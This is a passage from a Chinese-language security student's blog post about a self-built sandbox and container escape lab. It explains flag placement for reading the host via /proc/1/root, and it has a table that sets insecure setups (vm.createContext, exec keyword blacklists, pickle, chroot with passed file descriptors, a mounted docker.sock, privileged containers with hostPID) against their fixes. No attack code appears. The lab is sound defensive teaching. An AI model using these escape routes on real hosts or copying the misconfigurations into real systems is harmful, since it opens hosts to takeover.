L6 的 flag 为什么要放到宿主根目录? 因为它必须”容器里看不到、宿主上看得到”,否则 /proc/1/root 就读不到。 setup.sh 用一个挂了 /:/host 的一次性容器来写,这样 macOS / Linux 都不用特判。Linux 上是真宿主,只多一个 /lab-escape/ 目录:

Terminal window
./setup.sh --clean # 删掉它

修复对照#

关卡错误做法正确做法
L1vm.createContext 跑不可信代码独立进程 + 权限剥离;或用 isolated-vm
L2关键字黑名单 + exec不要 exec 不可信代码;必须解释执行就用白名单 AST 或独立进程
L3pickle + 模块白名单校验完整限定名;换 JSON / MessagePack
L4chroot + 传进来的 fd不传句柄;用 pivot_root + 命名空间 + no_new_privs
L5挂 docker.sock不挂;用 socket proxy 做 API 白名单
L6privileged + pid: host只给需要的 capability,去掉 hostPID

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录